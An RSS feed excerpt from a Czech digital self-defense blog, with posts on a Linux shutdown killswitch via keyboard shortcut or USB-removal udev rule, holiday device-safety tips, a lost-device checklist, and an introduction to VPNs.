		<category><![CDATA[sebeobrana]]></category>
		<guid isPermaLink="false">https://www.digitalni-sebeobrana.cz/?p=1564</guid>

					<description><![CDATA[<p>Série videí o soukromí a bezpečnosti v digitálním prostoru. Video sérii naleznete na tomto odkazu Jednotlivé díly: Password123! Obrněný účty Zámky, šifry, zálohy Jak funguje šifrování Messengery Phishing 1⧸2 Phishing 2⧸2 VPN Tor a I2P Kryptoměny &#8211; Seed Kryptoměny anonymně Antiviry</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/videokurz-digitalni-sebeobrany/">Videosérie Digitální Sebeobrany</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Série videí o soukromí a bezpečnosti v digitálním prostoru.<span id="more-1564"></span></p>
<p>Video sérii naleznete na tomto <a href="https://odysee.com/@paralelnipolis:6/sodomkidigitlnsebeobranakryptoanarchievpraxidXHLJGO1k0I6VnF3ReVg:a?lid=36799b62a6f3b5017e9972ef38b46ce615825b80" rel="noopener" target="_blank">odkazu</a></p>
<p><strong>Jednotlivé díly:</strong></p>
<p><a aria-label="Sodomák I Digitální Sebeobrana： Password123! by Video content from Paralelni Polis Prague 1 month ago, 21:36" href="https://odysee.com/@paralelnipolis:6/sodomkidigitlnsebeobranapassword123tRV4KkIS6rMzaMLns0eY:4?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák I Digitální Sebeobrana： Password123!" class="truncated-text" style="-webkit-line-clamp: 2;"> Password123!</span></div>
<p></a></p>
<p><a aria-label="Sodomák I Digitální Sebeobrana： Obrněný účty by Video content from Paralelni Polis Prague 1 month ago, 23:34" href="https://odysee.com/@paralelnipolis:6/sodomkidigitlnsebeobranaobrnntys80bsTO8OePkR2sRZUmO:4?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák I Digitální Sebeobrana： Obrněný účty" class="truncated-text" style="-webkit-line-clamp: 2;"> Obrněný účty</span></div>
<p></a></p>
<p><a aria-label="Sodomák I Digitální Sebeobrana： Zámky, šifry, zálohy by Video content from Paralelni Polis Prague 1 month ago, 25:27" href="https://odysee.com/@paralelnipolis:6/sodomkidigitlnsebeobranazmkyifryzlohyf4wgFwiDBWqZmFvXy8LZ:3?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák I Digitální Sebeobrana： Zámky, šifry, zálohy" class="truncated-text" style="-webkit-line-clamp: 2;"> Zámky, šifry, zálohy</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Jak funguje šifrování by Video content from Paralelni Polis Prague 1 month ago, 34:11" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranajakfungujeifrovnfiKxRu3ZPTXA1gm3gZ0D:1?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Jak funguje šifrování" class="truncated-text" style="-webkit-line-clamp: 2;">  Jak funguje šifrování</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Messengery by Video content from Paralelni Polis Prague 1 month ago, 29:58" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranamessengerynCoCLTLsGYUJFs5mIXjv:c?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Messengery" class="truncated-text" style="-webkit-line-clamp: 2;">  Messengery</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Phishing 1⧸2 by Video content from Paralelni Polis Prague 1 month ago, 17:36" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranaphishing12VLBQosL7M2IGIordjIQj:4?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Phishing 1⧸2" class="truncated-text" style="-webkit-line-clamp: 2;">  Phishing 1⧸2</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Phishing 2⧸2 by Video content from Paralelni Polis Prague 1 month ago, 20:10" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranaphishing22FKI7y4dACGhTRLKaowXO:1?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Phishing 2⧸2" class="truncated-text" style="-webkit-line-clamp: 2;">  Phishing 2⧸2</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： VPN by Video content from Paralelni Polis Prague 1 month ago, 27:32" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranavpnV9YTorZ0D2KxRYebjYyr:0?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： VPN" class="truncated-text" style="-webkit-line-clamp: 2;">  VPN</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Tor a I2P by Video content from Paralelni Polis Prague 1 month ago, 28:36" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranatorai2poZXr1opEsngUm5M6oJWy:1?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Tor a I2P" class="truncated-text" style="-webkit-line-clamp: 2;">  Tor a I2P</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Kryptoměny - Seed by Video content from Paralelni Polis Prague 1 month ago, 24:04" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranakryptomny-seedVXAivOINIqnUJlBVjyfm:7?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Kryptoměny - Seed" class="truncated-text" style="-webkit-line-clamp: 2;">  Kryptoměny &#8211; Seed</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Kryptoměny anonymně by Video content from Paralelni Polis Prague 1 month ago, 25:25" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranakryptomnyanonymnZlzAkfN1Fu0Px0pItL1G:5?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Kryptoměny anonymně" class="truncated-text" style="-webkit-line-clamp: 2;">  Kryptoměny anonymně</span></div>
<p></a></p>
<p><a aria-label="Sodomák ｜ Digitální Sebeobrana： Antiviry by Video content from Paralelni Polis Prague 1 month ago, 10:55" href="https://odysee.com/@paralelnipolis:6/sodomkdigitlnsebeobranaantivirylkVs9qfeFQBqWDau0RaZ:4?lid=36799b62a6f3b5017e9972ef38b46ce615825b80"></p>
<div class="claim-preview__title"><span title="Sodomák ｜ Digitální Sebeobrana： Antiviry" class="truncated-text" style="-webkit-line-clamp: 2;">  Antiviry</span></div>
<p></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/videokurz-digitalni-sebeobrany/">Videosérie Digitální Sebeobrany</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Killswitch pro Linux</title>
		<link>https://www.digitalnisebeobrana.cz/en/killswitch-pro-linux/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Sun, 31 Jan 2021 17:27:14 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[killswitch]]></category>
		<category><![CDATA[skript]]></category>
		<guid isPermaLink="false">https://www.digitalni-sebeobrana.cz/?p=1531</guid>

					<description><![CDATA[<p>Občas se může hodit možnost rychle vypnout počítač. Zde jsou dva příklady, jak to udělat. Klávesová zkratka V textovém editoru vytvoříme skript, který zavolá okamžité vypnutí počítače. Pro otestování prozatím zakomentujeme příkaz pro vypnutí a vložíme kód pro zapsání textu do souboru killswitch.sh: #!/bin/bash t=$(date); echo $t &#62; /home/ross/tools/killswitch/test; #sudo poweroff -f Pomocí příkazu chmod &#8230;<br /><a href="https://www.digitalnisebeobrana.cz/en/killswitch-pro-linux/" class="more-link pen_button pen_element_default pen_icon_arrow_double">Continue reading <span class="screen-reader-text">Killswitch pro Linux</span></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/killswitch-pro-linux/">Killswitch pro Linux</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Občas se může hodit možnost rychle vypnout počítač. Zde jsou dva příklady, jak to udělat.</p>
<p><span id="more-1531"></span></p>
<h2>Klávesová zkratka</h2>
<ol>
<li>V textovém editoru vytvoříme skript, který zavolá okamžité vypnutí počítače. Pro otestování prozatím zakomentujeme příkaz pro vypnutí a vložíme kód pro zapsání textu do souboru <code>killswitch.sh</code>:<br />
<code>#!/bin/bash<br />
t=$(date);<br />
echo $t &gt; /home/ross/tools/killswitch/test;<br />
#sudo poweroff -f<br />
</code></li>
<li>Pomocí příkazu chmod nastavíme právo pro spuštění:<br />
<code>$ chmod +x ./killswitch.sh</code></li>
<li>Zkontrolujeme práva:<br />
<code>$ ls -al<br />
total 12</code><br />
<code>drwx------ 2 ross ross 4096 31. led 16.23 .</code><br />
<code>drwx------ 5 ross ross 4096 26. led 15.35 ..</code><br />
<code>-rwx------ 1 ross ross 100 31. led 16.17 killswitch.sh<br />
</code></li>
<li>Nast<a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/01/gnome-shell-screenshot-BZ0TX0.png"><img fetchpriority="high" decoding="async" class="alignright size-medium wp-image-1533" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/01/gnome-shell-screenshot-BZ0TX0-300x203.png" alt="" width="300" height="203" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/01/gnome-shell-screenshot-BZ0TX0-300x203.png 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/01/gnome-shell-screenshot-BZ0TX0-500x338.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/01/gnome-shell-screenshot-BZ0TX0.png 522w" sizes="(max-width: 300px) 100vw, 300px" /></a>avíme klávesovou zkratku, která zavolá náš skript. Toto se může lišit podle prostředí. Toto je příklad pro Gnome: Settings -&gt; Keyboard Shortcuts -&gt; + (úplně dole)
<ol style="list-style-type: upper-roman;">
<li>Name: cokoliv</li>
<li>Command: Cesta k našemu skriptu</li>
<li>Shortcut: po kliknutí stiskněte požadovanou klávesovou zkratku</li>
<li>Klikněte na &#8220;Add&#8221;</li>
</ol>
</li>
<li>Test: stiskněte vybranou klávesovou zkratku. Nově vytvořený soubor test by měl obsahovat aktuální čas. Pokud ne, něco je špatně:)</li>
<li>Upravíme skript pro &#8220;ostrý provoz&#8221;:<br />
<code>#!/bin/bash</code><br />
<code>#t=$(date;echo $USER);</code><br />
<code>#echo $t &gt; /home/ross/tools/killswitch/test;</code><br />
<code>sudo poweroff -f</code></li>
<li>Pro zavolání příkazu <code>sudo poweroff -f</code> jsou potřeba administrátorská práva. To můžeme obejít vložením nasledujícího řádku do souboru <code>/etc/sudoers</code>:<br />
<code>ross ALL = NOPASSWD: /sbin/poweroff</code><br />
<em>(<code>poweroff -f</code> zabrání vyskakování potvrzovacích oken a vypne počítač okamžitě)</em></li>
<li>Uložíme rozdělanou práci a otestujeme klávesovou zkratku.</li>
</ol>
<hr />
<p>&nbsp;</p>
<h2> Vypnutí po odpojení USB zařízení</h2>
<ol>
<li>Připojíme do USB portu zařízení, které chceme použít jako náš killswitch.</li>
<li>Spustíme monitoring připojení zařízení:<br />
<code>$ udevadm monitor --property</code></li>
<li>USB zařízení odpojíme z počítače, v terminalu by se měl zobrazit výpis podobný tomuto:<br />
<code>(...)</code><br />
<code>UDEV [18888.225725] remove /devices/pci0000:00/0000:00:14.0/usb1/1-2 (usb)</code><br />
<code>ACTION=remove</code><br />
<code>DEVPATH=/devices/pci0000:00/0000:00:14.0/usb1/1-2</code><br />
<code>SUBSYSTEM=usb</code><br />
<code>DEVNAME=/dev/bus/usb/001/038</code><br />
<code>DEVTYPE=usb_device</code><br />
<code>PRODUCT=<strong>950/6535/110</strong></code><br />
<code>TYPE=0/0/0</code><br />
<code>BUSNUM=001</code><br />
<code>(...)</code></li>
<li>V textovém editoru vytvoříme pravidlo pro zařízení (jako root):<br />
<code>$ sudo vim /etc/udev/rules.d/85-my_killswitch_rule.rules</code></li>
<li>Do souboru vložíme následující řádek:<br />
<code>ACTION=="remove", ENV{PRODUCT}=="<strong>950/6535/110</strong>", RUN+="/root/killswitch.sh"</code><em>(obsah proměnné <code>ENV{PRODUCT}</code> zkopírujeme z výpisu příkazu <code>udevadm monitor --property</code>)</em></li>
<li>Aktualizujeme pravidla (root):<code>$ sudo udevadm control --reload-rules</code></li>
<li>Jako root vytvoříme v textovém editoru skript <code>/root/killswitch.sh</code> s tímto obsahem:<br />
<code>#!/bin/sh<br />
t=$(date);<br />
echo $t &gt; /root/test </code><br />
<code>#shutdown now</code><br />
(<strong>pozor, skript bude se spouštět pod uživatelem root</strong>! Pokud by se někdo dostal k tomuto skriptu, mohl by ho upravit a získat administrátorská práva. Proto musí být pro &#8220;běžného&#8221; uživatele nedostupný pro zápis.)<code></code></li>
<li>Přidáme atribut pro  spuštění<br />
<code># chmod +x /root/killswitch.sh</code></li>
<li>Otestujeme.</li>
<li>Ve skriptu odkomentujeme poslední řadek (vymazáním #).</li>
<li>Připraveno k ostrému testu.</li>
</ol>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/killswitch-pro-linux/">Killswitch pro Linux</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>8 tips for a digitally safer holiday</title>
		<link>https://www.digitalnisebeobrana.cz/en/8-tipu-pro-digitalne-bezpecnejsi-dovolenou/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Mon, 13 Jul 2020 11:08:41 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[First aid!]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[cestování]]></category>
		<category><![CDATA[dovolena]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[hesla]]></category>
		<category><![CDATA[krádež]]></category>
		<category><![CDATA[notebook]]></category>
		<category><![CDATA[telefon]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[ztráta]]></category>
		<guid isPermaLink="false">https://www.digitalni-sebeobrana.cz/?p=1522</guid>

					<description><![CDATA[<p>A phone left on a train, a laptop stolen in a café or data exposed on public Wi-Fi. A few practical tips on how to reduce the risk of losing your devices and private information while travelling.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/8-tipu-pro-digitalne-bezpecnejsi-dovolenou/">8 tips for a digitally safer holiday</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The holiday season can be risky not only because of possible injuries during sports activities, but also for your digital devices. When travelling, we lose our phones or laptops more often than at almost any other time. Maybe we forget them on a train, at the beach or at a festival. Maybe someone simply steals them. And that is not all. There is also the risk that some of your information may end up in the wrong hands.</p>
<p>Here are a few tips on how to reduce that risk.</p>
<p><span id="more-1522"></span></p>
<ol>
<li>
<h2>Set up automatic locking</h2>
<p>Never leave your phone or laptop unlocked in public places, for example on a table in a restaurant, café or bar.</p>
<p>Set your phone to lock automatically after a reasonably short time. One minute should be about right: not too long, but also not so short that it makes normal use annoying.</p>
<p><a href="/wp-content/uploads/2020/07/external-content.duckduckgo.com_.jpg"><img decoding="async" src="/wp-content/uploads/2020/07/external-content.duckduckgo.com_-300x115.jpg" alt="Win+L" width="300" height="115" class="alignright size-medium wp-image-1524" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2020/07/external-content.duckduckgo.com_-300x115.jpg 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2020/07/external-content.duckduckgo.com_.jpg 474w" sizes="(max-width: 300px) 100vw, 300px" /></a>Get into the habit of locking your laptop every time you step away from it. Even if you only get up from your café table to get some sugar. On Windows and most Linux distributions, you can use the <em>Win + L</em> keyboard shortcut. On a MacBook, <em>Command + Control + Q</em> should do the same.</p>
</li>
<li>
<h2>Use a good lock</h2>
<p>When travelling, use fingerprint unlock or Face ID for your phone or laptop whenever possible. During the rest of the year, I usually recommend using a <a href="/en/za-jak-dlouho-hacker-prolomi-vase-heslo/">sufficiently long</a> and unique password or PIN. But on holiday, the bigger problem is often the number of cameras around you and tourists filming everything they see. It is easy not to notice that someone is watching or recording you while you type your password.</p>
<p>If you do use a password or PIN, avoid the obvious ones like “password” or “iloveyou”. PINs like “0000” or “1234” are not a great idea either.</p>
<p>Unlocking your phone with a pattern, by connecting dots on the screen, can also be risky. Your fingers leave traces on the display.</p>
<p><em>Tip: Use passwords in Czech or Slovak.</em></p>
</li>
<li>
<h2>Be careful with public Wi-Fi networks</h2>
<p>You know how it goes. You land in a country outside the EU and need to read an e-mail, post a photo on Instagram or find accommodation. And you do not really want to pay for data roaming. So, right there at the airport, you search for the nearest public and free Wi-Fi network and connect to it.</p>
<p>And guess what? Hackers know that people do this at airports. It is not difficult for them to create a Wi-Fi network called something like “Airport Free Internet” from their own device. Then they just wait for someone to connect and start collecting data.</p>
<p>The same applies to restaurants and cafés. That is why it is usually better to pay extra for roaming. And if that is really not possible for some reason, at least use a <a href="/en/vpn-ochrana-vasi-komunikace-a-spasa-pro-evropsky-internet/">VPN</a>. It encrypts your data so that an attacker cannot read it.</p>
</li>
<li>
<h2>Do not tell the world that your home is empty</h2>
<p>The urge to show your friends that you are enjoying your holiday can be hard to resist, but try to wait. A photo from Bibione or Mont Blanc can be a great tip for a burglar, who will immediately know that no one is home to disturb them.</p>
<p>You can upload photos to Instagram or Facebook after you return. And you will probably enjoy your holiday without social networks much more anyway.</p>
<p><em>Tip: Be offline. It is nice <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></em></p>
</li>
<li>
<h2>Be careful with photos of children</h2>
<p>Photos of your children from the beach that you share on social networks may end up on websites used by paedophiles. Such photos can be a strong attraction for them. If you want to share these photos with family or friends, send them by e-mail, or even better, through a messenger app, ideally via <a href="https://www.signal.org">Signal Messenger</a>.</p>
</li>
<li>
<h2>Enable disk encryption</h2>
<p>If you lose your laptop during your holiday, it is definitely better if the data on the disk cannot be read by someone who might misuse it.</p>
<p>On Windows, you can use BitLocker. On Apple devices, there is FileVault, and on Linux there is LUKS. Alternatively, you can use the open source software <a href="https://www.veracrypt.fr">VeraCrypt</a>.</p>
</li>
<li>
<h2>Border checks and adult content</h2>
<p>In some countries, border officers may ask you for passwords to your devices or even your social media accounts. If you are travelling to such a country, be careful about what you have stored on your device. There are countries where saved adult content may get you into trouble.</p>
<p>Many people travelling to these countries use a different, “clean” laptop and phone.</p>
</li>
<li>
<h2>Back up before your holiday</h2>
<p>If you lose your device during your holiday, a backup of your files or contacts will definitely come in handy. Do not underestimate it.</p>
</li>
</ol>
<p>If your phone or laptop is actually lost or stolen, <a href="/en/ztraceny-nebo-ukradeny-telefon-pocitac/">here</a> are a few tips on how to minimise the damage.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/8-tipu-pro-digitalne-bezpecnejsi-dovolenou/">8 tips for a digitally safer holiday</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Lost or stolen phone/computer</title>
		<link>https://www.digitalnisebeobrana.cz/en/ztraceny-nebo-ukradeny-telefon-pocitac/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Sun, 23 Jun 2019 08:59:29 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[First aid!]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[audio]]></category>
		<category><![CDATA[cestování]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[krádež]]></category>
		<category><![CDATA[lost]]></category>
		<category><![CDATA[notebook]]></category>
		<category><![CDATA[stolen]]></category>
		<category><![CDATA[telefon]]></category>
		<category><![CDATA[ztráta]]></category>
		<guid isPermaLink="false">https://www.zaskolit.cz/?p=1492</guid>

					<description><![CDATA[<p>The vast majority of our devices are now portable. In the past, we used computers and telephones that we had at home or in the office and that never left these spaces. Today everything is different. We carry laptops from place to place, go with them on business trips and on holiday. Obviously, it&#8217;s absolutely &#8230;<br /><a href="https://www.digitalnisebeobrana.cz/en/ztraceny-nebo-ukradeny-telefon-pocitac/" class="more-link pen_button pen_element_default pen_icon_arrow_double">Continue reading <span class="screen-reader-text">Lost or stolen phone/computer</span></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/ztraceny-nebo-ukradeny-telefon-pocitac/">Lost or stolen phone/computer</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The vast majority of our devices are now portable. In the past, we used computers and telephones that we had at home or in the office and that never left these spaces. Today everything is different. We carry laptops from place to place, go with them on business trips and on holiday. Obviously, it&#8217;s absolutely true about phones.</p>
<p>This increases the risk of losing or stealing these devices. And because the person who has just found out that he has lost his device often panicking (it&#8217;s a very stressful situation) and in the first moments is unable to calmly realize what needs to be done, it is good to have these steps ready.</p>
<p>Here is the checklist<span id="more-1492"></span> of steps that should follow after losing or stealing your phone or laptop. You can <a href="https://www.zaskolit.cz/wp-content/uploads/2019/06/lost_device_en.pdf">download it here (pdf)</a>, print it and check steps out.</p>
<ol>
<li><span style="font-family: Helvetica, sans-serif;">Find location</span>
<ul>
<li><span style="font-family: Helvetica, sans-serif;">Android: </span><a href="https://android.com/find" target="_blank" rel="noopener noreferrer"><span style="font-family: Helvetica, sans-serif;">android.com/find</span></a></li>
<li><span style="font-family: Helvetica, sans-serif;">iPhone: </span><a href="https://icloud.com/find"><span style="font-family: Helvetica, sans-serif;">icloud.com/find</span></a></li>
</ul>
</li>
<li><span style="font-family: Helvetica, sans-serif;">Try to send sms to your phone</span>
<ul>
<li><span style="font-family: Helvetica, sans-serif;">If messages appear on the display, you can give a message to a potential finder</span></li>
<li><span style="font-family: Helvetica, sans-serif;">iPhone: </span><a href="http://support.apple.com/kb/PH2700"><span style="font-family: Helvetica, sans-serif;">Lost Mode</span></a></li>
</ul>
</li>
<li><span style="font-family: Helvetica, sans-serif;">Contact IT</span>
<ul>
<li><span style="font-family: Helvetica, sans-serif;">It is necessary to block access to internal systems of the company or organization for accounts</span></li>
</ul>
</li>
<li><span style="font-family: Helvetica, sans-serif;">Remote backup</span>
<ul>
<li><span style="font-family: Helvetica, sans-serif;">If your phone has a remote backup application, back up now.</span></li>
</ul>
</li>
<li><span style="font-family: Helvetica, sans-serif;">Lock and wipe</span>
<ul>
<li><span style="font-family: Helvetica, sans-serif;">Android: </span><span style="font-family: Helvetica, sans-serif;">At</span><span style="font-family: Helvetica, sans-serif;"> <a href="https://android.com/find" target="_blank" rel="noopener noreferrer">android.com/find</a> </span><span style="font-family: Helvetica, sans-serif;">a</span><span style="font-family: Helvetica, sans-serif;">ctivate lock and </span><span style="font-family: Helvetica, sans-serif;">erase</span><span style="font-family: Helvetica, sans-serif;"> features</span></li>
<li><span style="font-family: Helvetica, sans-serif;">iPhone: </span><span style="font-family: Helvetica, sans-serif;">At</span><span style="font-family: Helvetica, sans-serif;"> <a href="https://icloud.com/find">icloud.com/find</a> select your device and </span><span style="font-family: Helvetica, sans-serif;">wipe it.</span></li>
</ul>
</li>
<li><span style="font-family: Helvetica, sans-serif;">Sign out of accounts</span>
<ul>
<li><span style="font-family: Helvetica, sans-serif;">From another device, log in to your accounts where you are signed in lost device and log off those accounts on the lost device </span>
<ul>
<li><span style="font-family: Helvetica, sans-serif;"><a href="https://www.facebook.com/settings?tab=security&#038;section=sessions&#038;view">Facebook</a>, </span><span style="font-family: Helvetica, sans-serif;"><a href="https://twitter.com/settings/sessions">Twitter</a>, <a href="https://myaccount.google.com/device-activity?utm_source=google-account&#038;utm_medium=web">Gmail</a>, <a href="https://www.alza.cz/muj-ucet/profil/prihlasena-zarizeni">Alza</a> </span><span style="font-family: Helvetica, sans-serif;">etc</span><span style="font-family: Helvetica, sans-serif;">.</span></li>
<li><span style="font-family: Helvetica, sans-serif;">Ask others to temporarily remove you from conversation groups (e.g., Signal, Telegram, Threema, Whatsapp, Slack, etc.) where sensitive information may occur (yours or others).</span></li>
</ul>
</li>
</ul>
</li>
<li><span style="font-family: Helvetica, sans-serif;">Change passwords on accounts that were logged on a lost device</span></li>
<li><span style="font-family: Helvetica, sans-serif;">Send your cryptocurrencies to the new address</span>
<ul>
<li><span style="font-family: Helvetica, sans-serif;">If you have a wallet backup, restore it, create a new one, and forward there your cryptocurrencies </span></li>
</ul>
</li>
<li><span style="font-family: Helvetica, sans-serif;">Contact your phone operator to lock SIM card</span></li>
<li><span style="font-family: Helvetica, sans-serif;">Block payment cards stored in device applications</span>
<ul>
<li><span style="font-family: Helvetica, sans-serif;">Your credit cards may be stored in some apps or websites</span></li>
</ul>
</li>
<li><span style="font-family: Helvetica, sans-serif;">Notify friends and/or customers</span>
<ul>
<li><span style="font-family: Helvetica, sans-serif;">Your accounts may be misused for phishing attacks, tell your friends about this possibility</span></li>
</ul>
</li>
</ol>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/ztraceny-nebo-ukradeny-telefon-pocitac/">Lost or stolen phone/computer</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		<enclosure url="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2019/06/01.mp3" length="4518460" type="audio/mpeg" />

			</item>
		<item>
		<title>VPN &#8211; Protecting Your Communication and Salvation for the European Internet?</title>
		<link>https://www.digitalnisebeobrana.cz/en/vpn-ochrana-vasi-komunikace-a-spasa-pro-evropsky-internet/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Mon, 08 Apr 2019 20:12:31 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[šifrování]]></category>
		<category><![CDATA[vpn]]></category>
		<category><![CDATA[wifi]]></category>
		<guid isPermaLink="false">https://www.zaskolit.cz/?p=1436</guid>

					<description><![CDATA[<p>In connection with the adoption of the new European legislation known as Article 13/17, which introduces new regulations for Internet content providers, more talks about VPN have become a tool that will allow the Internet to continue to be used without restriction in Europe How can it help not only in finding content on the &#8230;<br /><a href="https://www.digitalnisebeobrana.cz/en/vpn-ochrana-vasi-komunikace-a-spasa-pro-evropsky-internet/" class="more-link pen_button pen_element_default pen_icon_arrow_double">Continue reading <span class="screen-reader-text">VPN &#8211; Protecting Your Communication and Salvation for the European Internet?</span></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/vpn-ochrana-vasi-komunikace-a-spasa-pro-evropsky-internet/">VPN &#8211; Protecting Your Communication and Salvation for the European Internet?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><span class="tlid-translation translation" lang="en">In connection with the adoption of the new European legislation known as <a href="https://en.wikipedia.org/wiki/Directive_on_Copyright_in_the_Digital_Single_Market#Article_17_(previously_13)" target="_blank" rel="noopener noreferrer">Article 13/17</a>, which introduces new regulations for Internet content providers, more talks about VPN have become a tool that will allow the Internet to continue to be used without restriction in Europe</span></p>
<p><span class="tlid-translation translation" lang="en">How can it help not only in finding content on the Internet and how it can help protect your private or corporate communications?</span></p>
<p><span id="more-1436"></span><span class="tlid-translation translation" lang="en">VPN stands for &#8220;<strong>V</strong>irtual <strong>P</strong>rivate <strong>N</strong>etwork&#8221;. Simply put, using VPN, your device is connected to a local network no matter where it is physically located. For example, you can safely print to your home or business printer located in Prague from New York. Likewise, you can use VPN to view the American version of Netflix from Brno (which has different content and is &#8220;invisible&#8221; for users who connect from other parts of the world).<br />
The introduction of new regulations for Internet content providers has increased the likelihood that servers that provide content for EU countries other than the rest of the world will grow. VPN connectivity remains one of the few ways to access unregulated content.</span></p>
<h2><span class="tlid-translation translation" lang="en">How does it work?</span></h2>
<h3><span class="tlid-translation translation" lang="en">In a nutshell:</span></h3>
<p><span class="tlid-translation translation" lang="en">You install a program (called a VPN client) on a computer (or phone), select a destination (VPN server) that can be anywhere in the world, and from now on you use the Internet as if you were physically in the VPN server location. For example, if you have a VPN server in Chicago, you are in Chicago for websites (and other services) as well. Basically, in a matter of seconds, you were virtually teleported to the other end of the world. You can use services that are locally restricted (such as Netflix or the Czech Television, which can only be viewed from the territory of the Czech Republic and not normally viewed from holiday).<br />
In addition, your communication with the VPN server is encrypted and cannot be easily tapped (eg if you are connected to a public Wi-Fi in a cafe).<br />
The disadvantage may be a lower speed of VPN connection, depending on server speed and encryption method. But this reduction is not very large in practice.</span></p>
